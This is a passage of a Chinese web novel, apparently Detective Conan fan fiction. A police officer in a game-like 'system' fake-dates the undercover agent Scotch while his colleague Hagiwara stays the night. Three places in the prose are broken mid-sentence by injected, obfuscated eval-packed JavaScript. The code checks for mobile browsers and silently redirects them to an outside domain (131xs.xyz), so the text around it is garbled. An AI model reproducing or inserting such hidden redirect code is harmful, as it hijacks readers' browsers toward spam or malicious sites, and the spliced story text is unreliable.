一之羽巡顺手把苹果塞进冰箱,“只有一张床,不过我睡觉应该不会乱动……对了,你平常裸睡还是穿睡衣?” 萩原研二轻微宕机一秒钟。 一之羽巡目测了一下,萩原研二比他高点,但身形不是很壮的类型,睡衣本身就比较宽松,直接穿他的没问题。 “穿睡衣的话你自己去我衣柜里拿就好。”手机突然响了一声,一之羽巡拿出手机看了一眼,抬脚就往书房去,“你先洗澡吧,我一会儿再洗,换下来的衣服扔直接洗衣机里,明早要是没干就穿我的……总之你随意,忍足警官找我,我去帮他看下案子。” 萩原研二欲言又止,看着那个身影急匆匆往书房的方向去,叹了口气,最终还是没真的出声阻拦。 什么能阻止一之羽巡加班? 估计只有另一份更重要的工作。 “倒是稍微有点儿身为病号的自觉啊……” 萩原研二打开衣柜,提高音量:“我穿那套黑色的睡衣了?” 书房里传来一声回应:“随你喜欢。” 关上衣柜门的瞬间,他动作忽然顿了顿,看向衣柜最里侧。 除了警服以外只存在黑白灰三种颜色的衣柜里,突兀出现了一抹蓝色。 那是一件蓝色的外套。 一之羽巡的穿搭常年高度统一,有段时间他热衷于用排列组合的方式跟松田阵平打赌一之羽巡今天会穿什么,十次里有九次能猜中,毕竟那人物欲极低,不是在上班就是在上班的路上,上一次买衣服都能追溯到去年,还是因为警察厅的某个案子需要他乔装打扮混入商业宴会,为了更好的完成任务,他才特意购置了那么一套价格不菲的礼服。 热衷于花衬衫的萩原警官如是想:一之羽就是该多穿点不同颜色才对…… 虽然穿什么都不影响那人远远看着就赏心悦目就是了。 他走进浴室,把换下来的衣服塞进洗衣机的时候不小心碰掉了洗手台上的东西,捡起来后才发现那是本时尚杂志,看封面应该是超市里附赠的。 其中几页被反复翻看过很多次,拿在手里就会自然而然翻到那部分,内容无一例外都是关于发型。 萩原研二沉默几秒,把杂志放回原处,没追求一定要摆放得跟最开始一模一样,毕竟无论怎样都会被公寓的主人看出端倪。 他打开淋浴,冷水顺着发丝从裸露的肩膀一路滑下,捧了把水,在脸上揉尽。 其实已经不需要更冷静了,他的脑子已经清醒到不能再清醒了。 恋爱后开始注重外表是很正常的事,为了恋人开始打扮自己这不算特别。 放在别人身上确实是这样。 但那个人是一之羽巡。 一之羽巡不会接受任何自己不需要的东西,小到路上的传单,大到高层递来的橄榄枝,甚至于是生活中遇到的人。 正如只有他认为自己需要这本杂志时这本杂志才会被允许进入他的生活,那么那个始终没有透露风声的恋人呢,也是一之羽巡认为的自己的必选项吗?又究竟是有多喜欢才会让一之羽巡开始为了对方改变自己? …… 一之羽巡从书房里出来的时候,他的客人正在沙发上安静坐着,头上搭着条毛巾,看不清神色,但能看到发丝还在滴水,落在地板上发出轻微的啪嗒声。 他歉意道:“忘了告诉你吹风机在哪儿了。” 他去柜子里拿了吹风机回来才慢半拍地意识到,萩原研二刚刚没回答。他没多想,只觉得萩原研二是太困了,就近把吹风机电源插上,摘掉萩原研二头上的湿毛巾,十分自然帮忙吹起头发。 和想象中一样,发丝柔软,穿过指缝时透着着点儿乖巧。 萩原研二的头发算是中长,那给了他灵感,特意把刘海留长,略微遮住眉眼但不至于遮挡视线,用于抵消外貌上与生俱来的那份不近人情。 苏格兰在第二次约会中的精致让他深刻认识到了自己的不专业,他最近研究了不少发型,还没来得及在下一次约会里惊喜亮相,反倒是先给苏格兰做了个发型来伪装身份。 “搞定!” 一之羽巡拍了拍萩原研二的肩膀:“困了就先去睡吧。” 萩原研二站起身,他们之间存在点儿身高差,垂眸望着他,神色晦暗,一之羽巡以为萩原研二是想说些什么,或许还是一件严肃的事,但萩原研二最终只是安静转身地走进了卧室。 ……困过头了吧。 洗完澡回来,一之羽巡推开卧室的门,萩原研二背对着门口躺在床的里侧,他关掉最后一盏灯,轻手轻脚地躺下。 过了一会儿,身后传来一道平静的声音:“一之羽,你的恋人是个什么样的人?” 一之羽巡知道萩原研二还没睡,但他现在已经想睡了,高烧debuff会随着惩罚时间效果逐渐减弱但并非完全解除,他闭着眼睛说:“你好像对这个很感兴趣。” 一向擅长与人谈笑风生的萩原研二这次没说什么,只是淡淡“嗯”了一声。一之羽巡欣赏萩原研二的八面玲珑,但不代表他只欣赏八面玲珑状态下的萩原研二,无论是谁都会有想歇歇的时候。 苏格兰是个什么样的人? 一之羽巡的脑海中浮现出一张异常淡然的脸,神情中的冷静甚至隐隐压过了那张脸本身的温润,变得让人无法亲近。 思索片刻,他说:“是一个对自己很苛刻的人。” 萩原研二回答得很快:“和你一样?” “我有吗?” “你说呢?” 一之羽巡哑然失笑:“我还不够格呢,但那种置身之外的决绝和公正是我很欣赏的品质。” “听你描述,难道也是警务系统里的人吗?” 一之羽巡笑着略过话题:“萩原,明天还要早起,晚安。” 过了很久,卧室内才传来一声浅到几乎听不见的回应:“……晚安。” …… 一之羽巡明明记得自己昨晚和萩原研二是背对背睡的,结果一觉醒来莫名其妙抱在了一起。他看着近在咫尺的帅脸,试图在不吵醒萩原研二的前提下下床,刚一动又被一把捞了回去。 一之羽巡:“……” 长手长脚就是好,策划为什么不做个捏脸系统,就算实在不让改身高体重,帮他省去留刘海和戴眼镜的麻烦也好。 一之羽巡最终还是成功逃脱了萩原研二的胸肌,不知道是不是认床没睡好,萩原研二睡得很沉,竟然没被他的动静吵醒。 四舍五入也算大病初愈,一之羽巡难得没去晨跑,洗漱过后干脆准备起早餐。 他煎着蛋,心想:萩原和松田关系可真好……他们两个平常也睡一张床? 今天的早餐是三明治,这种三明治的做法是苏格兰传授给他的,他准备下次见面的时候做一份带过去让苏格兰检查一下学习成果,也算是增进感情了,不知道能不能加上0.5分。 等把最后一份早餐做好,萩原研二还没醒,算算时间在家里吃是来不及了,一之羽巡把迷迷糊糊的萩原研二从床上薅起来拖到卫生间洗漱换衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432365|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,等萩原研二出来时,他已经把早餐打包好,整装待发。 他们住的地方离警察厅和警视厅很近,走着不到十分钟就能过去,但这个时间按照原计划去找松田阵平肯定是来不及了,一之羽巡干脆把其中两份早餐装在了一起。 萩原研二拎着两人份的早餐——其中一份是给松田阵平的,还是难以置信怎么会有人这么早就去上班。 昨晚他一直睡不着,直到凌晨半睡半醒中捞到个抱枕才勉强睡着,他又打了个哈欠,看向身旁神清气爽的一之羽巡,陷入沉思。 要是他不说谁敢相信这人昨天还在医院里躺着。 他忍不住问:“一之羽,你究竟为什么那么喜欢上班?” “充实的工作让我感觉生命在增加。” 萩原研二:? “当然是开玩笑的。”一之羽巡摆手笑道:“只是觉得既然都成为警察了,那在发现下一个想做的事之前,就尽量把做警察这件事做好吧。” “你管这个叫尽量……” 没去晨跑,总觉得缺了点什么,一之羽巡活动着肩膀,喃喃自语:“……但是最近很多时间都拿来谈恋爱了,真不称职……” 萩原研二在余光中看着一之羽巡,抿了下唇,收回视线。 干脆顺着这个话题说下去好了,引导一之羽巡觉得还是单身更好,这个人高效到只要一认为某件事是正确的那就会立刻执行,但是带病也要坚持调查抓到嫌疑人和仿佛镌刻在眼底的青黑色让他无法心安理得地对一之羽巡说出那种话。 萩原研二意识到,在某个瞬间,自己竟然对一之羽巡那个素未谋面的恋人生出了几分谢意。 “一之羽,有机会我也想认识一下你的……你的恋人。”萩原研二说:“说不定我们会相处得很愉快。” 一之羽巡声音里的笑意分外清晰:“这世界上哪有你搞不定的人啊?” “……有的。” 站在路口等红绿灯,一之羽巡闻言来了点儿兴趣:“哦?那我倒是想认识一下了,见识见识连我们萩原警官都搞不定的人到底有多特立独行。” “他不是特立独行!”萩原研二立刻说道。 那种接近反驳的语气让一之羽巡愣了一下,话音微顿的间隙被萩原研二抢占先机,继续说了下去。 “他只是太清楚自己想要什么了。” 萩原研二神情专注,眉头却微微蹙着,仿佛心事重重:“很少有人能做到像他那样心无旁骛,一之羽,我……我很欣赏那个人。” “道理我都懂。”一之羽巡捏着萩原研二的下巴把那张脸转向别处:“但是你能不能先别看我了。” 虽然早就知道萩原研二那双眼睛自带深情buff看狗都深情,但还是第一次如此直观地感受到这种威力。 一之羽巡收手,摸了摸下巴,接上话题:“原来是这样,说着难搞,但其实你还挺喜欢那个人的。” 等了好一会儿都没等到下言,一之羽巡转头,吓了一跳。 “你脸怎么那么红?” “绿灯了,可以走了。”萩原研二低头加快脚步,直接超过一之羽巡:“没有,你看错了。” “我戴的是平光镜又不是真近视了,你怎么了?” 想到某种可能性,一之羽巡皱眉:“等等——萩原,你不会是……” 萩原研二的心脏骤然漏了一拍:怎么办一时得意忘形一不小心说过头了以一之羽巡的敏锐程度一定会…… 一之羽巡一脸严肃:“你不会是被我传染了吧?” “对不起我没想让你困扰的我只是——”萩原研二话音戛然而止:“……嗯?” “都烧到说胡话了,怪不得早上起不来,别走了我先送你去医院。” 萩原研二:“………………” 萩原研二:“哈哈,不了,我还是更喜欢上班。” 13.013 一之羽巡最终还是没能战胜萩原研二想要上班的决心,他一路跟着萩原研二到了警视厅,又在机动队坐了一会儿,等其他人来了,这才放心离开。 带病也要坚持工作,原来萩原这么喜欢上班吗?一之羽巡觉得有点儿奇怪,毕竟真那么热爱工作,以萩原研二的水准,怎么会警衔比他低三级。 同一时间,警察厅的人比警视厅密集不少,一之羽巡穿过办公区,跟相熟的同僚一一打过招呼,习惯性检查了他的花。 隐约有开放的迹象,花蕾隐约透着点儿蓝色。 “一之羽,早啊……”忍足警官像只游魂一般脚步虚浮地飘过。 “早啊,忍足警官。” 忍足警官的小组昨晚通宵加班,这对这间办公室里的人来说不算特别,不过他会知道这件事主要是因为忍足警官昨夜找他支援,让他帮忙远程分析一下某桩案子。 “你今天来晚了。”忍足警官瘫在椅子里,“但是还是比别人早。” 一之羽巡放下喷壶:“案子已经解决了吗?” 通宵加班是真的,结案的成就感也是真的,奖金更更更是真的,忍足警官伸了个懒腰,竖起大拇指为人美心善二十四小时在线援助的后辈点赞:“托你的福,完事了,周末你别加班了,我请你吃饭!” “吃饭就算了,小事而已,有帮上你们就好。” “别啊,给我个机会,算我求你了你周末能不能给自己放一次假……等一下!”忍足警官突然反应过来一件事:“你最近两周周末是不是都不在厅里?” “可能是你来的时候我正好在警视厅那边吧。”一之羽巡随口把这个话题带过去:“吃早饭了吗?我带了三明治。” “吃!”做出这个回答根本不需要经过大脑思考,忍足警官摸着下巴,继续分析:“我上周末一直在办公室,没看到你啊,而且谁会没事儿跑去警视厅待一整天,那边根本不待见公安,就算你是一之羽巡也不管用。” 越想越越觉得有鬼,忍足警官的眼神逐渐锐利起来:“昨晚通电话的时候,你家里还有别人。” “你想哪儿去了,朋友借宿而已。”一之羽巡无奈道:“昨晚跟我说话的是机动队的萩原,你也见过的。” “奥,萩原研二?那个很会说话那个……休想转移话题!” 忍足警官直击要害:“那你这周周末还来加班吗?” 一之羽巡面不改色:“那要看我有没有其他安排。” “其他安排?你蒙谁呢?你连过年都加班!” 熬了一个通宵的忍足警官一下子腰不疼了腿也不酸了,横扫困意,彻底精神起来:“你周末见不着人是从飞鸟长官找你那时候开始的,飞鸟长官找你是给你牵了根红线介绍对象。” 忍足警官:“你谈恋——” 一之羽巡眼疾手快地往忍足警官的嘴里塞了个三明治,手动打断施法。 “@¥#%……&*@!”忍足警官嚼了嚼,“在哪买的?还挺好吃的。” “我做的,明天给你带一份?” 忍足警官一副看穿一切的模样,得寸进尺:“那后天的也拜托了,我帮你保密哈。” “就算不帮我保密我也可以给你带的。” “够了,你能不能不要理所当然地讲那种会让我良心不安的话了……” …… 一之羽巡倒是不在意被别人知道自己在谈恋爱,否则也不会直接告诉萩原研二和松田阵平,飞鸟长官当初强调过要把苏格兰当成真正的恋人来对待,那在熟人面前坦坦荡荡承认合情合理。 但朋友和同事多少还是有区别的,尤其是他这间办公室里一屋子人精,最擅长的就是分析解读,很难保证谁不灵光一闪把恋爱跟任务联系起来,多一事不如少一事。 第一次和苏格兰见面是在年后复工的第一个周末,他们一起看了海、吃了甜品,第一次见面,也第一次牵手;第二次见面是今年的第二个周末,苏格兰送了他北海道特产,他们吃了法餐,第一次拥抱,还去了他的公寓;第三次见面是工作日,苏格兰送了他一副眼镜后匆匆离开;第四次见面是在前晚,他们在一场晚宴上意外碰到,他昧着良心放怎么看怎么可疑的苏格兰离开现场,被系统判罚。 ……进度太慢了。 一之羽巡坐在约好的店里安静等待,双手手指交叉,垂眸沉思。 苏格兰对好感度的增减很精细,那显而易见是个心思极其细腻的人,加上这份职业的特殊性质加持,他不得不更加谨慎克制,抑制情绪日渐成为和呼吸一样习以为常的事。 他们这段关系太过刻板化,纵然不理解为什么会有这种奇怪的任务,但丝毫不影响他们想认真完成这个任务,然而防备心太重且各种原因下无法真正了解对方,每次独处时需要营造一定氛围关系才能有所进展,这也是每次见面时他都会以练习为由做一些简单的肢体接触拉近距离的原因。 今天牵过手,下次见面时牵手就变得理所当然,这次拥抱了,下次见面时远远就张开手臂抱一下在思维习惯上也会觉得这是很正常的事。 部分地下情侣在同居后就会容易被识破,因为对另一个人身体的熟悉和相处中的零边界感是自然流露的无法伪装,他曾经以此侦破了一个第三者凶杀案。 他不希望看到这个任务的最终评分在90以下,那会拉低他迄今为止的综合得分,然而即使刻意刷过,苏格兰对他的好感度至今甚至还没能突破20。 “巡。” 头顶传来熟悉的嗓音,一之羽巡暂且斩断思绪,一秒入戏,抬头笑道:“苏格……” 他声音顿了顿:“……兰?” 【****(苏格兰):+20】 苏格兰低声道:“我来晚了。” 一之羽巡盯着苏格兰的头顶,索性苏格兰在桌边站着,他仰着头看也没什么不对。 他可能是看错了小数点,误以为刚刚闪过了一条两位数的好感度提醒。 “你没迟到,是我太想见你了,不小心来早了而已。” 苏格兰把背着的乐器包放下,自己也在桌旁坐下:“我从任务现场赶过来的,没来得及换衣服,抱歉。” 一之羽巡敢断定那个乐器包里除了乐器以外还有别的东西,重量不对。 这还是苏格兰第一次在他面前直接提及涉及自身身份的话语,或许是觉得飞鸟长官的任务比他目前在执行的另一项任务更加重要,也可能是因为那晚意外撞见觉得已经没必要对这层身份遮遮掩掩,总之算是好事。 一之羽巡单手托着下巴,笑着说:“干嘛因为这种事道歉……我们今天正好都穿了蓝色,心有灵犀。” 默契肯定是不存在的,他当然是特意买的,否则除了警服他根本没有蓝色的衣服,早前想好的说辞是“因为苏格兰的眼睛是蓝色所以买衣服的时候不由自主就选了蓝色呢”,现在看来不用废话了。 【****(苏格兰):+20】 “……?” 什么玩意儿一个20一下闪就过去了。 一之羽巡静止了整整一秒钟,思考苏格兰刚刚是不是给他扣了20好感度。 上一个好感度为负的人还不知道是从哪里冒出来的,他无所谓别人怎么看他,但苏格兰现在是他的任务搭档,他必须保证任务的完整性。 他皱眉:“苏格兰,你今天……” 【****(苏格兰):+20】 ……不对。 哪里变了。 一之羽巡止住话音,苏格兰缓缓抬起头,目光相接的瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以体验派演技为锚点,建立出独立运行且能自主控制对外好感度的逻辑模式,一个人能自控到如此夸张的境地,那日常生活中会按照小数点来加减好感度似乎也不值得意外了。 一个能随自身需求随意控制对其他人的好感度数值的NPC,狗策划竟然能想到这种好玩的设定,这可比跟一个演技中上的演员对戏一个月要有趣得多。 “我知道你有事瞒着我。”一之羽巡不甘落于下风,缓缓说道:“没错,我很在意这件事,也一直在暗中调查。” “我该怎么做?”苏格兰握紧他的手,仿佛在无声诉说着对恋人的挽留:“你希望我怎么做?” “如果注定无法坦诚相待,那就使尽浑身解数继续隐瞒下去,别让我抓到你的把柄。” 诸伏景光看到一之羽巡那双仿佛永远平静的黑眸中渗出些许笑意,那双眼睛深得过分,配合眼底的黑眼圈和过白的皮肤透着病态。他有一种模糊的预感,那位仿佛永远立于不败之地的警界之星说着赢,但渴望的竟然是成为输家。 比起一个爱着自己的恋人,他更期待的是一个能赢过自己的恋人。也可能是,为了爱着的人,为了这份爱能够维持下去,一个永远在赢的人渴望在某个特定的人面前输一次。 一之羽巡反手握住了他的手,诸伏景光有一瞬出戏,从苏格兰的角色中剥离,那种夺走控场权的意识和野心太过不加掩饰,也让他骤然意识到,对方的演技甚至比他预估中还要夸张。 他是个体验派,一直以来通过收敛身上的某些特质来达成扮演【苏格兰】的目的,某种意义上也可以说,其实苏格兰就是他本人,但一之羽巡与他不同,那是一个彻头彻尾的演技派,且演技高超。 一之羽巡笑容淡薄,看起来却比过去任何一次都要清晰:“苏格兰,如果你真的爱我,那就赢过我,用剩下的时间证明给我看,你爱我比我爱你更多。” 对视间,诸伏景光的脑海自动翻译了那句话:用剩下的时间来证明,对于这个任务,你能做到的比我能做的更多。 【****(苏格兰):+8.4】 【****(苏格兰):100/100】 【距离分手还有:14天】 14.014 不知道苏格兰怎么突然就开窍了,总之这次见完苏格兰以后一之羽巡可谓是神清气爽,觉得这个支线任务评分拿90以上指日可待! 但当天晚上有人轻轻敲了敲他卧室的玻璃的时候,跟窗外那个黑乎乎的影子面面相觑,他还是罕见地茫然了几秒钟。 一之羽巡迟疑出声:“……苏格兰?” 有节奏的敲击声停下了。 ……还真是啊。 他不是没认出来,是没敢认。 一之羽巡下床打开窗:“你怎么来了?” 苏格兰从窗户跳进来。他身高有一米八几,落地时却像只猫一样轻巧,没发出任何多余的声响。 “我想见你。” 一之羽巡秒懂:来刷存在感的,符合新人设。 “我们今天才见过。” “马上就过零点了,就要到明天了。” 一之羽巡竟然无力反驳,他揉揉头发,发出灵魂疑问:“为什么不走门?” “到处都是监控……而且住在这里的警察太多了。” 很好,依然符合人设,和他白天猜的一样,苏格兰果然是抛开任务本身,开始完全采用【苏格兰】这个身份来恋爱了。 一之羽巡在窗口探头看了一眼,确认过没有问题后迅速关窗,叮嘱:“下不为例,就这么爬上来未免太危——” 一具裹挟着冷风的身体从身后拥上来。 “……险。”他还是把那句话说完了。 这个拥抱和过去每次以练习为名出现的拥抱都不一样,几乎是将他整个人挤压向胸口,硬要说的话,跟在藤原家晚宴上的挟制倒是有点像,带着几分不容置喙的强势。 外面温度略低,随着外套一起进入屋内的寒意穿透不算厚的睡衣直达体表,一之羽巡生理性地打了个冷颤。 在苏格兰彻底把他压在怀里的前一刻,他挣扎着一把拉上了窗帘。 身后的那具身体显然经过系统的锻炼,肌肉恰到好处,紧贴在一起时产生的温度几秒之间便抵消了室外的寒风,距离太近,温热的呼吸打在颈侧,一之羽巡下意识歪头避开,苏格兰却仿佛误会了什么,顺势将下巴压在了他颈侧。 短短的胡茬直接扎在皮肤上,有点痒。他一直在猜测苏格兰的实际年龄比自己小,因为那张脸看起来并没有本人给人的感觉那般成熟,故意留着胡茬可能是为自己增加阅历感,效果确实有,但很有限,毕竟发型胡子神情都是附加因素,底子改不了,再怎么折腾那张脸看久了给人的印象都是清俊雅致。就像他一直试图通过发型和微笑的弧度来改变不近人情的第一印象,然而收效甚微。 ……一个两个,胸肌都还挺发达的。 一之羽巡想起了昨晚留宿的萩原研二,思考自己是不是也该专门练练,最近去健身房的频率的确照以往低了不少。 小数点哥疯了一样一口气把好感度拉爆以后,整个人的即视感都错乱了。 有趣的是,比起计划被打乱以及被对方夺走控场权的烦躁,他更多感到的是兴奋。 他有一种模糊的感觉,苏格兰不是开始正视这个任务于是演技全开,而是彻底释放自己,放下了最初单纯依靠演技解决问题的念头。 虽然不知道契机如何,但对于一个理性克制到极致的人来说,这才是更难的。 太敬业了。他一向欣赏这种人,如果是对手,那能为工作增添不少刺激感,如果是队友,那自然再好不过,事半功倍。 假如这个人既是对手又是队友,事情就要有趣起来了。 不愧是飞鸟长官任务里的NPC,一之羽巡在心中感慨。一想到这个任务还有不到半个月就要结束了,他竟然生出几分惋惜,他已经很久没触发过这么特别的任务了。 一之羽巡默算着时间,这个拥抱的效果已经达到了,他不知道苏格兰做出这个动作出于什么目的,但至少他现在真的对苏格兰产生了全新的态度。 那就代表,苏格兰差不多可以松开他了。 他和苏格兰之间总是存在各种信息差,不过这不影响他们即使没对上信号也接收到新信息。 果然,束缚着他的那双手缓缓卸下力道,一之羽巡看了眼表,时间分毫不差,刚过零点。 “你要在我这里住一晚吗?” 苏格兰摇摇头:“我还有事。” 一之羽巡只是象征性问问,没准备真让人留宿。 虽然苏格兰真要留下来他也不会赶人走就是了。 诸伏景光是在和莱伊闲聊过后临时决定过来的,他旁敲侧击了莱伊的恋情,对比发现了自己这段恋情中的盲区——他和一之羽巡几乎只在周末见一次。喜欢一个人就会想见面,这实在很有说服力,但这栋公寓附近的监控和刚下夜班的警察也很有说服力,爬窗也是无奈之举。 他来过这间公寓,不过进卧室还是第一次,诸伏景光习惯性观察了一下周围环境,试图从中判断房间主人的生活,目光触及床上的两个枕头时微顿。 他盯着那两个枕头,侧头问:“你习惯睡两个枕头吗?”他这样问着,但目光仍旧落在靠床内侧的那只枕头上。 一之羽巡随口道:“昨晚朋友过来住,忘收起来了。” 想到了某个画面,诸伏景光微微蹙眉,沉默几秒,还是说了下去:“其实你住院的那天,我去看过你。” 一之羽巡这回是真的有些意外了,看来苏格兰不是昨天才改变任务思路的,很有可能在他高烧住院那天就已经变了。他问:“嗯?什么时候?” “我去的时候你还没醒。” 一之羽巡敏锐地察觉到苏格兰还有话没说完,追问:“然后呢?” “……看到那里有人,我就先走了。” “是我的朋友,就是他昨晚在我这里留宿。” 诸伏景光点点头,及时终止了这个话题。 他盯着窗帘的缝隙,夹缝中依稀能看到两人在玻璃上的倒影,脑海中的从另一个缝隙中看另外两人的画面不受控制浮现在眼前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444582|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 病床旁边的青年静立许久,俯身,中途停顿了一会儿,而后小心抬手,似乎像是想用指节触碰病床上双眼紧密的病人的脸颊,但还未真正触及就仿佛如梦初醒般迅速收回,警觉地转身看向周围,大概是在确认刚刚有没有没人注意到。 他迅速闪身躲在门后,几秒后,听到病房内的人长叹了口气,像是松了口气,又像是无奈。 “你和那位朋友……我的意思是说,你们两个的关系是……?” 一之羽巡愣了一下,随即噗嗤笑出声。诸伏景光不确定一之羽巡以为这是吃醋还是一之羽巡真的被这个问题逗笑了。 他还是第一次看到那人笑得那么轻松。 不过即使没回答,他也得到了答案。 诸伏景光骤然松了口气。他和一之羽巡的关系是假的,但不代表告诉他他的任务搭档是朋友的恋人他也依旧能心如止水——虽然那并不影响他极力完成这项任务。 那一之羽巡和萩原……他们两个究竟是什么关系? 早前在翻阅一之羽巡的资料时就已经知晓了这人和萩原认识,但那天的情景……看着不像只是普通朋友那么简单。 “你想哪儿去了?”一之羽巡的声音里还依稀听得出没散尽的笑意:“我和他当然只是朋友啊。” “虽说我以前没交过女朋友,但我也没交过男朋友啊,和你在一起只是因为喜欢你而已,苏格兰。” 的确,从来没有哪份资料表示,一之羽巡喜欢同性。 这个人一直勤勤勉勉兢兢业业,几乎全年无休,将自己的一切奉献给社会和国家。 【你的搭档一直向我表示一切顺利,不过据我所知,这个任务目前似乎并不是很乐观。你们两位都是我最优秀的部下之一,放在一起本该可以达到‘1+1>2’的效果……我知道,你潜意识里还是认为,一个合格的卧底搜查官怎么可能做出在任务期间恋爱这种荒唐事,所以无法把一之羽君当作自己真实的恋人,但不要忽略,现在和一之羽君恋爱的人是苏格兰,也只是苏格兰而已。】 他收到了那则消息,被一语点醒,同时也生出无数困惑。 【这个任务究竟有什么深意?】 那条消息石沉大海,没能等来回复。 时间差不多了,他表明了自己的态度,一之羽巡也表明了态度,目的达到,他已经可以离开了。 况且他今晚的确还有事要做。 诸伏景光站在窗边,看着浓重的夜色,想起另一个被光照进来的深夜,他转头问:“那晚帮我的事,你有和飞鸟长官汇报过吗?” 面对他最后的问题,对他仿佛知无不言的一之羽巡这一次只是微笑,没有回答。 或许是因为这不会是苏格兰想知道的,这是只有诸伏景光才会问的问题,而诸伏景光对一之羽巡来说无关紧要,无需回答。 他换了个结束语:“那……晚安?” “晚安,苏格兰。” 【距离分手还有:13天】 15.015 一之羽巡当然没在飞鸟长官面前提过自己帮苏格兰脱身的事。为了一个任务忽略另一个案件,这不值得称道,错就是错,即便把真凶送进了监狱也不例外。 连游戏系统都判定他失职,他怎么可能会拿这件事到顶头上司面前说。 不过他有种预感,即使没说飞鸟长官也自有渠道知道,对方没问,他就顺势假装没发生过。 最近苏格兰像个Bug一样随时刷新在他附近,大多时候行色匆匆,见一面说几句话后就匆匆离开,偶尔会给他塞一些地方特产,就像是在向不关注自己行程的恋人报备自己不见人影的时候都去了哪里。 又一次在午休时间跑出去的一之羽巡看着摆在桌上的礼品袋,揉了揉太阳穴。 还礼是一部分,隔三差五在工作途中跑出来也是一部分,虽说每次都贴心地挑了休息时间,但是这个世界有一个词叫做自愿加班。 飞鸟长官的任务的确特殊,但通关要求是成为红方的顶头上司,他现在只是警视,距离警察厅长官遥遥无期,工作上绝对不能懈怠。 飞鸟长官的任务是任务,公安课的任务也是任务。 “干嘛那副表情?” 忍足警官刚吃完午饭回来,心情甚好,路过看到:“哟,买了新领带啊,你终于知道打扮自己了,谈——额那个那个什么就是不一样了哈!” 坐下后他才发现不对劲,声音低了一点,问:“怎么了?大白天的一副找了半个月的嫌疑人突然自杀了的表情。” 一之羽巡言简意赅:“不是买的。” 忍足警官秒懂:“奥,又是那位送的。” 他凑近看了一眼:“这不是挺好的吗?你不喜欢?” “喜欢。”一之羽巡一脸严肃:“我只是觉得,最近的礼物未免太多了点。” “……这种烦恼你不想要可以让给我。” 忍足警官看后辈的表情,意识到那家伙竟然真的在因为这事困扰,或者再准确一点,那分明是为了工作被打断烦恼才更对。 他拍了拍某个身在福中不知福的家伙的肩膀,语重心长:“有没有一种可能,是你太忙了,她给你送礼物只是想多见你一面而已。” 一之羽巡抬头。 忍足警官一看那个反应就知道不妙,“嘶”了一声:“我说啊……她最近几乎一两天就来找你一次,好像是频繁了一点,但你平常有主动找过她吗?” 一之羽巡刚要开口,忍足警官打了个补丁:“周末约会不算!” “……”一之羽巡罕见地沉默了。 仔细一想,一直以来都是苏格兰找他,工作日那就来警察厅,休息日偶尔也要来警察厅,除了固定约会以外都是苏格兰主动来见他,爬楼爬窗,风雨无阻。 说因为工作忙也不成立,苏格兰明显也很忙,而且苏格兰还是冒着被警察撞见的风险——虽然不会有哪个警察平白无故就在大街上抓人,但总在这附近出没也容易被记住特征,况且苏格兰本身就不是什么大众脸。 思虑不周。 苏格兰比他敬业。 他早该想到的,他也该主动去找苏格兰。 “……我太不称职了。” “你刚刚说什么……”认识好几年,还是第一次听这位警界之星说自己哪里不好,忍足警官为这份爱情感动,化身知心前辈宽慰起来:“别这样说,作为恋人你已经很好了,你长得帅,工作稳定,前途无量,像你这样的——” 一之羽巡:“我指工作。” 忍足警官:“?” “我收回刚刚的话,把我的感动全部还给我!” …… 下班时间,一之羽巡准时离开工位。 他今晚约了苏格兰见面,不得不放弃加班。 苏格兰已经把能做的都做了,他一直自我感觉良好,但一对比下来完全不够看,但认真想想,真让他跑去苏格兰家里或者苏格兰工作的地方也不可取,时间不方便只是一方面,苏格兰身份特殊,很难保证他不会忍不住当场开始抓人。 公安课加班严重,不过警察厅部分文职部门还是会准时准点下班,一之羽巡顺着人群走出警察厅,刚要转弯,目光瞥过路对面,忽然顿了一下。 马路对面停着的某辆车引起了他的注意。 保时捷356A,他停下不是因为这辆车算是古董级,也不是因为它有多少见。 ……最近半个月,这已经不是他第一次见这辆车了。 他皱眉,脚下换了个方向,然而红路灯正好切换到红灯,他站在十字路口等待,口袋里的手机突然响起来。 一之羽巡快速拿出手机,看清来电名称,下意识拒接的手紧急停下。 他接通电话:“哥?” 【“巡,在忙吗?”】 一之羽巡的目光在红绿灯、古董车上来回切换,嘴上淡定回答:“刚下班,有什么事吗?” 【“我之前送给你的种子,算算时间,应该要开花了吧?”】 “是啊。” 【“太好了,巡,你那株是什么颜色的?”】 “还不确定呢,看着像是蓝色,不过也有可能是紫色的。” 绿灯刚亮,路对面的那辆古董车突然开走了,一之羽巡加快脚步,还是没能赶上。 “……啧!” 他磨了磨后槽牙,从车流中锁定那辆车快速记下车牌号,准备回头找交通部的人帮忙查一下。 【“巡?”】 【“……巡?你还在听吗?”】 一之羽巡换了只手听电话,“啊,抱歉,我在我在……你刚刚说什么?” 【“当初给你的那枚花种是第三代,第一代和第二代已经枯萎了,麻烦你花谢以后帮我收集一下花种吧。”】 “这有什么麻烦不麻烦的,放心交给我吧。” 挂断电话,一之羽巡在原地站了几秒,追车是不可能了,他久违地调出了种植版块。 整个种植乐园只关联了一株植物,那就是他养在公安课办公室的那盆花。 